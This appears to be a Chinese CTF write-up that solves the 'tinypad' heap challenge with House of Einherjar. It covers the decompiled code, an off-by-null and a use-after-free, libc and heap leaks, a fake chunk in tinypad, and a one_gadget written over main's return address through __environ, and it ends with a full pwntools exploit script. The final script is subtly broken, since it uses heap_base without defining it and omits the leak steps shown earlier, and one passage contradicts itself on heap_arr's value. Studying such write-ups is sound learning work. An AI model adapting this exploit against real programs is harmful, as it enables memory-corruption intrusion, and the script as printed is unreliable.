这是上一篇文章House of Einherjar的例题,下面是题目链接
注意本题环境基于Ubuntu 16,高版本Ubuntu由于有tcache,本题的利用方式就不起效了
静态分析:
首先来看一下这道题的IDA反编译伪代码。
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
int v4; // eax
int v5; // eax
__int64 v6; // rax
unsigned __int64 v7; // rax
int c; // [rsp+4h] [rbp-1Ch] BYREF
int i; // [rsp+8h] [rbp-18h]
int v11; // [rsp+Ch] [rbp-14h]
int v12; // [rsp+10h] [rbp-10h]
int v13; // [rsp+14h] [rbp-Ch]
unsigned __int64 v14; // [rsp+18h] [rbp-8h]
v14 = __readfsqword(0x28u);
v12 = 0;
write_n((__int64)&unk_4019F0, 1LL);
write_n(
(__int64)" ============================================================================\n"
"// _|_|_|_|_| _|_|_| _| _| _| _| _|_|_| _|_| _|_|_| \\\\\n"
"|| _| _| _|_| _| _| _| _| _| _| _| _| _| ||\n"
"|| _| _| _| _| _| _| _|_|_| _|_|_|_| _| _| ||\n"
"|| _| _| _| _|_| _| _| _| _| _| _| ||\n"
"\\\\ _| _|_|_| _| _| _| _| _| _| _|_|_| //\n"
" ============================================================================\n",
563LL);
write_n((__int64)&unk_4019F0, 1LL);
do
{
for ( i = 0; i <= 3; ++i )
{
LOBYTE(c) = i + 49;
writeln((__int64)"+------------------------------------------------------------------------------+\n", 81LL);
write_n((__int64)" # INDEX: ", 12LL);
writeln((__int64)&c, 1LL);
write_n((__int64)" # CONTENT: ", 12LL);
if ( *(_QWORD *)&tinypad[16 * i + 264] )
{
v3 = strlen(*(const char **)&tinypad[16 * i + 264]);
writeln(*(_QWORD *)&tinypad[16 * i + 264], v3);
}
writeln((__int64)&unk_4019F0, 1LL);
}
v11 = 0;
v4 = getcmd();
v12 = v4;
if ( v4 == 68 )
{
write_n((__int64)"(INDEX)>>> ", 11LL);
v11 = read_int();
if ( v11 <= 0 || v11 > 4 )
{
LABEL_29:
writeln((__int64)"Invalid index", 13LL);
continue;
}
if ( !*(_QWORD *)&tinypad[16 * v11 + 240] )
{
LABEL_31:
writeln((__int64)"Not used", 8LL);
continue;
}
free(*(void **)&tinypad[16 * v11 + 248]);
*(_QWORD *)&tinypad[16 * v11 + 240] = 0LL;
writeln((__int64)"\nDeleted.", 9LL);
}
else if ( v4 > 68 )
{
if ( v4 != 69 )
{
if ( v4 == 81 )
continue;
LABEL_41:
writeln((__int64)"No such a command", 17LL);
continue;
}
write_n((__int64)"(INDEX)>>> ", 11LL);
v11 = read_int();
if ( v11 <= 0 || v11 > 4 )
goto LABEL_29;
if ( !*(_QWORD *)&tinypad[16 * v11 + 240] )
goto LABEL_31;
c = 48;
strcpy(tinypad, *(const char **)&tinypad[16 * v11 + 248]);
while ( toupper(c) != 89 )
{
write_n((__int64)"CONTENT: ", 9LL);
v6 = strlen(tinypad);
writeln((__int64)tinypad, v6);
write_n((__int64)"(CONTENT)>>> ", 13LL);
v7 = strlen(*(const char **)&tinypad[16 * v11 + 248]);
read_until((__int64)tinypad, v7, 0xAu);
writeln((__int64)"Is it OK?", 9LL);
write_n((__int64)"(Y/n)>>> ", 9LL);
read_until((__int64)&c, 1uLL, 0xAu);
}
strcpy(*(char **)&tinypad[16 * v11 + 248], tinypad);
writeln((__int64)"\nEdited.", 8LL);
}
else
{
if ( v4 != 65 )
goto LABEL_41;
while ( v11 <= 3 && *(_QWORD *)&tinypad[16 * v11 + 256] )
++v11;
if ( v11 == 4 )
{
writeln((__int64)"No space is left.", 17LL);
}
else
{
v13 = -1;
write_n((__int64)"(SIZE)>>> ", 10LL);
v13 = read_int();
if ( v13 <= 0 )
{
v5 = 1;
}
else
{
v5 = v13;
if ( (unsigned __int64)v13 > 0x100 )
v5 = 256;
}
v13 = v5;
*(_QWORD *)&tinypad[16 * v11 + 256] = v5;
*(_QWORD *)&tinypad[16 * v11 + 264] = malloc(v13);
if ( !*(_QWORD *)&tinypad[16 * v11 + 264] )
{
writerrln("[!] No memory is available.", 27LL);
exit(-1);
}
write_n((__int64)"(CONTENT)>>> ", 13LL);
read_until(*(_QWORD *)&tinypad[16 * v11 + 264], v13, 0xAu);
writeln((__int64)"\nAdded.", 7LL);
}
}
}
while ( v12 != 81 );
return 0;
}
可以看见这道题的函数流程上只有一个main函数,并且可以在前面部分找到这样一个函数:getcmd(),进入这个函数看一下:
int getcmd()
{
int c; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
c = 0;
write_n(
(__int64)"+- MENU -----------------------------------------------------------------------+\n"
"| [A] Add memo |\n"
"| [D] Delete memo |\n"
"| [E] Edit memo |\n"
"| [Q] Quit |\n"
"+------------------------------------------------------------------------------+\n",
486LL);
write_n((__int64)"(CMD)>>> ", 9LL);
read_until((__int64)&c, 1uLL, 0xAu);
write_n((__int64)&unk_4019F0, 1LL);
return toupper(c);
}
这里可以看出来这题其实也是一个菜单题,在可以选择的功能上有增删改的功能,之后我们再返回main函数看一下,可以发现在每次程序在显示功能菜单前有一大串显示内容:
for ( i = 0; i <= 3; ++i )
{
LOBYTE(c) = i + 49;
writeln((__int64)"+------------------------------------------------------------------------------+\n", 81LL);
write_n((__int64)" # INDEX: ", 12LL);
writeln((__int64)&c, 1LL);
write_n((__int64)" # CONTENT: ", 12LL);
if ( *(_QWORD *)&tinypad[16 * i + 264] )
{
v3 = strlen(*(const char **)&tinypad[16 * i + 264]);
writeln(*(_QWORD *)&tinypad[16 * i + 264], v3);
}
writeln((__int64)&unk_4019F0, 1LL);
这个地方的输出内容就是所有堆块的序号以及它的内容。根据程序前面的循环条件:
for ( i = 0; i <= 3; ++i )
可以发现这道题最多只有四个堆块。之后是本题的创建功能:
v13 = -1;
write_n((__int64)"(SIZE)>>> ", 10LL);
v13 = read_int();
if ( v13 <= 0 )
{
v5 = 1;
}
else
{
v5 = v13;
if ( (unsigned __int64)v13 > 0x100 )
v5 = 256;
}
v13 = v5;
*(_QWORD *)&tinypad[16 * v11 + 256] = v5;
*(_QWORD *)&tinypad[16 * v11 + 264] = malloc(v13);
if ( !*(_QWORD *)&tinypad[16 * v11 + 264] )
{
writerrln("[!] No memory is available.", 27LL);
exit(-1);
}
write_n((__int64)"(CONTENT)>>> ", 13LL);
read_until(*(_QWORD *)&tinypad[16 * v11 + 264], v13, 0xAu);
writeln((__int64)"\nAdded.", 7LL);
可以发现这道题限制了最大堆块大小为0x100(256),之后是一个比较重要的函数:read_until 这是程序自定义的一个输入控制函数,看一下它的代码:
unsigned __int64 __fastcall read_until(__int64 a1, unsigned __int64 a2, unsigned int a3)
{
unsigned __int64 i; // [rsp+28h] [rbp-18h]
__int64 v6; // [rsp+30h] [rbp-10h]
for ( i = 0LL; i < a2; ++i )
{
v6 = read_n(0LL, a1 + i, 1LL);
if ( v6 < 0 )
return -1LL;
if ( !v6 || *(char *)(a1 + i) == a3 )
break;
}
*(_BYTE *)(a1 + i) = 0; // off_by_null
if ( i == a2 && *(_BYTE *)(a2 - 1 + a1) != 10 )
dummyinput(a3);
return i;
}
流程大概就是循环读入一个字节,在输入回车或者输入字符到达堆块最大值时截断,重点是在这里可以发现一个off_by_null漏洞。
之后是编辑功能:
while ( toupper(c) != 89 )
{
write_n((__int64)"CONTENT: ", 9LL);
v6 = strlen(tinypad);
writeln((__int64)tinypad, v6);
write_n((__int64)"(CONTENT)>>> ", 13LL);
v7 = strlen(*(const char **)&tinypad[16 * v11 + 248]);
read_until((__int64)tinypad, v7, 0xAu);
writeln((__int64)"Is it OK?", 9LL);
write_n((__int64)"(Y/n)>>> ", 9LL);
read_until((__int64)&c, 1uLL, 0xAu);
}
strcpy(*(char **)&tinypad[16 * v11 + 248], tinypad);
writeln((__int64)"\nEdited.", 8LL);
这个编辑功能比较有意思,它是先strlen获取对应堆块内的内容长度(这了要注意,即使你的size输入是20,如果你的堆块内容只有10,那么你编辑时就只能修改10的内容),然后再将我们将要修改的内容输入到tinypad(0x602040)这个地方,最后再使用strcpy函数把tinypad处的内容复制过去。而tinypad(0x602040)+256的地方正好就是存放堆块大小和指针的数组,我们后续的操作就是要控制这块区域。
最后就是free部分:
free(*(void **)&tinypad[16 * v11 + 248]);
*(_QWORD *)&tinypad[16 * v11 + 240] = 0LL; //堆块指针位置空
writeln((__int64)"\nDeleted.", 9LL);
可以发现这里也存在一个漏洞:这里只置空了堆块的大小在数组里的值,但是没有置空指向堆块的指针,而结合前面的选择菜单前的打印功能是直接显示堆块内的内容可以形成一个UAF泄露出已被释放后的堆块内的内容(也就是地址泄露)
思路整理:
- 本题存在一个直接可以利用的UAF可以用来泄露堆地址和unsortedbin地址进而泄露libc基址
- 利用本题特殊的输入流程在tinypad处构造fake_chunk处理house of Einherjar的前置条件
- 利用off_by_null触发house of Einherjar控制tinypad处的一块内存
- 将tinypad+256处的堆块指针覆盖为hook地址或者某个函数的地址,再利用编辑功能修改它内部的实际地址让它执行one_gadget
保护检查:
没开PIE,可以使用绝对地址和got表覆盖等技术
地址泄露:
本题的地址泄露 非常简单,只需要挂两个fastbin_chunk和一个unsortedbin_chunk就可以同时完成堆地址和unsortedbin地址的泄露。
前面静态分析时已经提到过了,本题存在UAF,选择菜单前的打印会把已经释放过的堆块内的内容给打印出来,操作代码如下:
首先是各个功能的自动化操作函数:
def create(size,content):
io.recvuntil("(CMD)>>> ")
io.sendline(b'A')
io.recvuntil("(SIZE)>>> ")
io.sendline(str(size))
io.recvuntil("(CONTENT)>>> ")
io.sendline(content)
def free(index):
io.recvuntil("(CMD)>>> ")
io.sendline(b'D')
io.recvuntil("(INDEX)>>> ")
io.sendline(str(index))
def edit(index,content):
io.recvuntil("(CMD)>>> ")
io.sendline(b'E')
io.recvuntil("(INDEX)>>> ")
io.sendline(str(index))
io.recvuntil("(CONTENT)>>> ")
io.sendline(content)
io.recvuntil("(Y/n)>>> ")
io.sendline(b'Y')
首先创建四个堆块:
create(0x40,b'a'*0x40)
create(0x40,b'b'*0x40)
create(0x80,b'c'*0x80)
create(0xf0,b'd'*0xf0)
前面两个堆块的大小只要是fastbin_chunk的范围内的就行(但是两个要同大小,后面会说为什么),然后一个超过fastbin_chunk的范围的堆块(后面泄露unsortedbin的地址),然后一个任意大小的堆块隔断top chunk。
泄露unsortedbin地址:
free(3)
io.recvuntil("# INDEX: 3\n")
io.recvuntil("# CONTENT: ")
unsortedbin_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(unsortedbin_addr))
main_arena = unsortedbin_addr - 88
libc_base = main_arena - 0x3C4B20
print(hex(libc_base))
先释放第三个堆块使其进入unsortedbin,之后直接接收程序对应部分的回显打印即可。
泄露堆地址:
free(2)
free(1)
io.recvuntil("# INDEX: 1\n")
io.recvuntil("# CONTENT: ")
heap_addr = u64(io.recv(4).ljust(8,b'\x00'))
print(hex(heap_addr))
heap_base = heap_addr - 0x50
print(hex(heap_base))
先释放堆块2再释放堆块1,然后像前面一样直接接收对应部分的回显内容即可获得对应地址。
注意这里一定是先释放堆块2再释放堆块1,因为回显的打印之前要用strlen获取堆块内容的长度,如果内容中存在\x00的话strlen就会被截断,如果先释放堆块1再释放堆块2,那么堆块2中的fd指针就是堆块1 的指针,而堆块1地址是堆地址的起始地址,它的末尾就是一个\x00,由于小端序的存储,\x00会被放在第一位,strlen就会被截断从而没有打印内容,所以这里先释放堆块2再释放堆块1,这样堆块1中的fd就是堆块2的地址,之后只要减去堆块2的地址就可以得到堆地址。
构造fake_chunk和触发house of Einherjar:
下面是全部的操作代码:
free(4)
payload1 = b'a'*0x20 + p64(0) + p64(0x101) + p64(heap_arr+0x20) + p64(heap_arr+0x20)
offset = heap_base - heap_arr
create(0x18,b'a'*0x18)
create(0xf0,b'b'*0xf0)
create(0x100,b'c'*0xf8)
create(0x100,b'd'*0x100)
payload2 = b'a'*0x10 + p64(offset)
for i in range(len(p64(offset))-len(p64(offset).strip(b'\x00'))+1):
edit(1,b'a'*0x10+p64(offset).strip(b'\x00').rjust(8-i,b'f'))
edit(2,payload1)
free(2)
payload3 = b'a'*0x20 + p64(0) + p64(0x101) + p64(unsortedbin_addr) + p64(unsortedbin_addr)
edit(3,payload3)
首先说一下这个fake_chunk的构造,这里具体原理就不细讲了,可以参考上一篇文章,这里这直接说这道题里面的fake_chunk是怎么来的:
payload1 = b'a'*0x20 + p64(0) + p64(0x101) + p64(heap_arr+0x20) + p64(heap_arr+0x20)
首先前面的 b’a’*0x20 是填充从tinypad处开始的0x20个字节,因为我们后面要控制存储堆块指针的数组,如果fake_chunk直接从tinypad处开始的话,程序允许的最大申请范围是够不到存储指针的数组的。所以我们将fake_chunk向下“挪”0x20个字节的位置使我们能控制fake_chunk,并且这里并不用设置next_chunk_size,因为chunk3的size正好是0x100,并且位置就在fake_chunk的next_chunk_size处,正好就帮我们绕过了这个检查。
然后是关于offset,也就是堆地址到fake_chunk的偏移(heap_base是堆的基地址,heap_arr是tinypad的地址),所以offset的计算就应该是heap_base - heap_arr,这里可能有一个疑问:前面不是有0x20的填充吗,这里怎么不减去那一部分的偏移?这个要看你设置的heap_base和heap_arr的具体值是多少,网上其他师傅有的版本heap_arr是0x602040,已经加上了偏移,我是0x602040,就是tinypad的地址,所以就不用减。
然后是关于利用空间复用设置prev_size,这里的写入比较麻烦,是通过一个循环来写入的,因为程序使用strcpy来写入堆块内容的,所以要用\x00来覆盖先前写入的那些填充数据,如果直接写入就会出现这种情况:
再填入了offset之后,前面还有之前的填充数据,还有off_by_null也没有触发,所以我们要用循环写入覆盖掉前面的这些填充数据,覆盖的方式如下:
for i in range(len(p64(offset))-len(p64(offset).strip(b'\x00'))+1):
edit(1,b'a'*0x10+p64(offset).strip(b'\x00').rjust(8-i,b'f'))
循环次数是p64()长度的总长度减去去掉本身\x00后的长度,这里还要加1,目的是触发off_by_null,rjust填充的f 是结束符,编辑结束后的效果如下:
之后我们只需要将fake_chunk的内容写入tinypad+0x20处,并释放chunk2就行了,效果如下:
这里可以看见tinypad+0x20的位置已经进入unsortedbin中,之后只要将这个fake_chunk的fd和bk改为unsortedbin的地址即可正常分配
getshell:
本题由于利用strcpy写内容导致大部分hook的地址写不进去,所以这里是一种新的getshell的方式:利用__environ,在这个结构中的第一个位置上有一个栈地址,而这个栈地址距离main_ret(主程序返回操作)的距离是一个固定的偏移:8*30,所以这里就可以找到main_ret的地址,之后我们利用跟got表覆写一样的操作修改它的实际执行为one_gadget即可getshell。虽然是个新方法,但是操作困难。实现代码如下:
environ_addr = libc_base + libc.symbols['__environ']
payload4 = b'a'*0xd0 + p64(0x18) + p64(environ_addr) + p64(0xf0) + p64(0x602148)
create(0xf0,payload4)
payload5 = p64(libc_base + 0xf1247) #one_gadget
io.recvuntil("# INDEX: 1\n")
io.recvuntil("# CONTENT: ")
stack_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(stack_addr))
main_ret = stack_addr - 8*30
edit(2,p64(main_ret))
edit(1,payload5)
io.sendline(b'Q')
io.interactive()
exp:
from pwn import *
context.log_level = 'debug'
io = process("./tinypad")
elf = ELF("./tinypad")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
heap_arr = 0x602040
def create(size,content):
io.recvuntil("(CMD)>>> ")
io.sendline(b'A')
io.recvuntil("(SIZE)>>> ")
io.sendline(str(size))
io.recvuntil("(CONTENT)>>> ")
io.sendline(content)
def free(index):
io.recvuntil("(CMD)>>> ")
io.sendline(b'D')
io.recvuntil("(INDEX)>>> ")
io.sendline(str(index))
def edit(index,content):
io.recvuntil("(CMD)>>> ")
io.sendline(b'E')
io.recvuntil("(INDEX)>>> ")
io.sendline(str(index))
io.recvuntil("(CONTENT)>>> ")
io.sendline(content)
io.recvuntil("(Y/n)>>> ")
io.sendline(b'Y')
create(0x40,b'a'*0x40)
create(0x40,b'b'*0x40)
create(0x80,b'c'*0x80)
create(0xf0,b'd'*0xf0)
free(3)
io.recvuntil("# INDEX: 3\n")
io.recvuntil("# CONTENT: ")
unsortedbin_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(unsortedbin_addr))
main_arena = unsortedbin_addr - 88
libc_base = main_arena - 0x3C4B20
print(hex(libc_base))
free(2)
payload1 = b'a'*0x20 + p64(0) + p64(0x101) + p64(heap_arr+0x20) + p64(heap_arr+0x20)
offset = heap_base - heap_arr
create(0x18,b'a'*0x18)
create(0xf0,b'b'*0xf0)
create(0x100,b'c'*0xf8)
create(0x100,b'd'*0x100)
payload2 = b'a'*0x10 + p64(offset)
for i in range(len(p64(offset))-len(p64(offset).strip(b'\x00'))+1):
edit(1,b'a'*0x10+p64(offset).strip(b'\x00').rjust(8-i,b'f'))
#edit(1,b'a'*0x10 + p64(offset))
edit(2,payload1)
free(2)
payload3 = b'a'*0x20 + p64(0) + p64(0x101) + p64(unsortedbin_addr) + p64(unsortedbin_addr)
edit(3,payload3)
environ_addr = libc_base + libc.symbols['__environ']
payload4 = b'a'*0xd0 + p64(0x18) + p64(environ_addr) + p64(0xf0) + p64(0x602148)
create(0xf0,payload4)
payload5 = p64(libc_base + 0xf1247)
io.recvuntil("# INDEX: 1\n")
io.recvuntil("# CONTENT: ")
stack_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(stack_addr))
main_ret = stack_addr - 8*30
edit(2,p64(main_ret))
edit(1,payload5)
io.sendline(b'Q')
io.interactive()
tips:本题的offset是不确定的,有时候它的长度会比较短,导致程序失败,可能需要多试几次,当然你也可以使用try-except自动化操作。